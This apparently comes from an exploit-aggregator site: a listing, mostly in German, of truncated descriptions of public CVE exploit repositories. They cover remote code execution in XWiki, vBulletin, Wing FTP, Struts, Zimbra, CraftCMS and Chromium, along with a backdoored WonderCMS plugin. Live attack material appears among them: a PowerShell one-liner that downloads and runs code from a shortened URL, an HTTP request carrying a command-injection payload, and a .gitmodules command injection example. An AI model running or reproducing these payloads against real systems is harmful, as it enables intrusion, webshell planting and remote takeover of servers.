CVE-2025-24893

CVE-2025-24893 root@kitploit: Exploit Title: XWiki 15.10.10 - Unauthenticated Remote Code Execution Date: 09/08/2025 Exploit Author: D3Ext Vendor Homepage: https://www.xwiki.org/ Software Link: https://github.com/xwiki/xwiki-platform Version: 15.10.10 Tested on: Kali Linux 2025 CVE: CVE-2025-2489...

CVE-2025-48827

Beschreibung: RCE für Vbullettin-Versionen zwischen 5.0.0 - 5.7.5 und 6.0.0 - 6.0.3 mit PHP 8.1 Funktionen: Multi-Threading Einlesen mehrerer Ziele aus einer Datei Erkennung von vbullettin-Websites Überprüft die Verwundbarkeit und lädt bei Erfolg eine PHP-Webshell hoch Details zur Verwendung:...

CVE-2025-47812

CVE-2025-47812 – Wing FTP Server RCE-Exploit Exploit-Titel: Wing FTP Server 7.4.4 Remote-Codeausführung durch Lua-Injection CVE: CVE-2025-47812 Getestet auf: Wing FTP Server v7.3.x Windows/Linux Auswirkung: Remote-Codeausführung RCE als SYSTEM/root Schweregrad: Kritisch Beschreibung Eine...

cve-2022-42889-text4shell

Maven installieren - maven-linux 1. Maven-Installation zum Erstellen des Fat-Jar root@kitploit: mvn clean install 2. Docker-Build root@kitploit: docker build --tag=text4shell . 3. Docker-Run root@kitploit: docker run -p 80:8080 text4shell 4. Teste die App root@kitploit:...

struts-rce-cve-2017-9805

Beschreibung Apache-Struts-RCE-Tool für CVE 2017-9805 Optionen u: die Ziel-URL; c: der Befehl, der auf einem verwundbaren Ziel ausgeführt wird; f: prüft automatisch auf RCE mithilfe einer Liste von Zielen ein Ziel pro Zeile; p: gibt den Port für einen lokalen Listener an – wird mit der Option f...

CVE-2023-41362_MyBB_ACP_RCE

CVE-2023-41362 - MyBB ACP RCE Exploit für CVE-2023-41362 Blogbeitrag: https://blog.sorcery.ie/posts/mybbacprce...

CVE-2021-41773-RedTeam

CVE-2021-41773 — Apache HTTP Server 2.4.49 Path Traversal / RCE ITSOLERA Cybersecurity Department — Red Team Task 3 Team: Offensive Team Zeta Datum: 18. März 2026 ⚠️ Haftungsausschluss Dieses Repository dient ausschließlich zu Bildungszwecken. Alle Tests wurden in einem isolierten lokalen...

CVE-2017-8570

Was? Dieses Repository enthält einen Proof-of-Concept-Exploit für CVE-2017-8570, auch bekannt als die "Composite Moniker"-Sicherheitslücke. Es demonstriert die Verwendung des Packager.dll-Tricks, um eine sct-Datei in das %TEMP%-Verzeichnis zu legen und sie dann mit der von der Sicherheitslücke...

CVE-2026-44963

CVE-2026-44963 — Veeam Backup & Replication RCE Forschungs-Repository vonSentinelX — nur für autorisierte Sicherheitstests und defensive Zwecke. Übersicht Feld| Detail ---|--- CVE ID| CVE-2026-44963 Anbieter| Veeam Produkt| Backup & Replication Betroffene Versionen| 12.3.2.4854 alle v12-Builds...

CVE-2023-51385_test

Überprüfung von CVE-2023-51385 Zuerst muss in /.ssh/config Folgendes hinzugefügt werden root@kitploit: 主机 .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p In der .gitmodules Datei existiert eine Befehlsinjektion root@kitploit: url = ssh://echo helloworld...

CVE-2014-4113

CVE-2014-4113 PowerShell CVE-2014-4113 Nur für x64 Windows iex New-Object Net.WebClient.DownloadString'http://bit.ly/1qosbJH'...

CVE-2022-1388

F5-CVE-2022-1388-Exploit Exploit- und Prüfskript für CVE 2022-1388 Verwendung root@kitploit: / | | | || | / | |/ / \ / | | || || | | / /| | | || | ' / /'| |/' |' / /'' / /'| | / / \ V / \ V / | | | | | || ||| / / | /| | / / / / ||| | \ \ / \ / \ | /\ / /| | ./ /\ |/ /./ /./ / | |./ /| || ||...

CVE-2024-23692

CVE-2024-23692 BURP POC root@kitploit: GET /?n=%0A&cmd=ipconfig+/all&search=%25xxx%25url:%password%.exec|.?cmd.|timeout=15|out=abc..?n..?n.RESULT:.?n..^abc.====.?n. HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 X11; Linux x8664; rv:109.0 Gecko/20100101 Firefox/115.0 Accept:...

CVE-2025-55182-Toolbox

React2Shell: Umfassendes Exploit-Tool für CVE-2025-55182 Autor: lamaper / BITs2Sys Version: 1.0.1 Lizenz: MIT 📝 Werkzeugbeschreibung Dieses Tool ist ein automatisiertes Penetrationstest-Tool, das speziell für CVE-2025-55182 RCE durch Prototype-Pollution in React Server Components / Next.js...

CVE-2020-23934

CVE-2020-23934 Referenzen 1 https://www.exploit-db.com/exploits/48636 2 https://github.com/vj0shii/PRTG-Network-MonitorCMS-Authenticated-Remote-Code-Execution/blob/master/PRTGCMS.py 3 https://stackoverflow.com/questions/12385179/how-to-send-a-multipart-form-data-with-requests-in-python 4...

CVE-2025-2783

Chromium CVE-2025-2783: Sandbox-Escape & Full-Chain-RCE-Exploit Dieses Repository enthält eine Full-Chain-Exploit-Implementierung für CVE-2025-2783. Die Schwachstelle befindet sich in der Ipcz -Kommunikationsebene von Chromium und ermöglicht es einem Angreifer, aus einem eingeschränkten...

CVE-2025-32432-PoC

CVE-2025-32432 Exploit-Skripte Python PoC Pre-Auth Remote Code Execution für CraftCMS 3.x / 4.x / 5.x PoC-Maintainer: C.T.Y. nur zu Forschungszwecken Schwachstellenentdeckung: Nicolas Bourras – Orange Cyberdefense Zusätzliche PoC-Inspiration: SensePost-Forschung & Chirag Artanis öffentliches Skri...

CVE-2022-27925-Revshell

Zimbra-Exploit für nicht authentifizierte Remotecodeausführung CVE-2022-27925 root@kitploit: / / / / / / / / / / / / / // / / / / / / // / / / // / //// // //.// ,/ CVE-2022-27925 usage: exp.py -h -t TARGET -m MASS -l LHOST -p LPORT options: -h, --help show this help message and exit -t TARGET,...

CVE-2026-9811

CVE-2026-9811 CVE-2026-9811 ist eine Schwachstelle vom Typ Stored Cross-Site Scripting Stored XSS, die Mautic 7 Versionen 7.0.0 bis 7.1.1 betrifft. Die Schwachstelle befindet sich in der Komponente Project Selector, in der Projektnamen, die über eine AJAX-Anfrage zurückgegeben werden, ohne...

wonderplugin

Wonderplugin für RCE VERWENDE DIESES FAKE-PLUGIN NICHT AUF DEINEM PRODUKTIONS-WEBSERVER! Dieses Repository dient zum Testen einer Schwachstelle in wonderCMS. Dieses Fake-Plugin enthält eine Backdoor-Webshell, die du in der Datei evil.php finden kannst. Verwandter Artikel WonderCMS 3.1.3 -...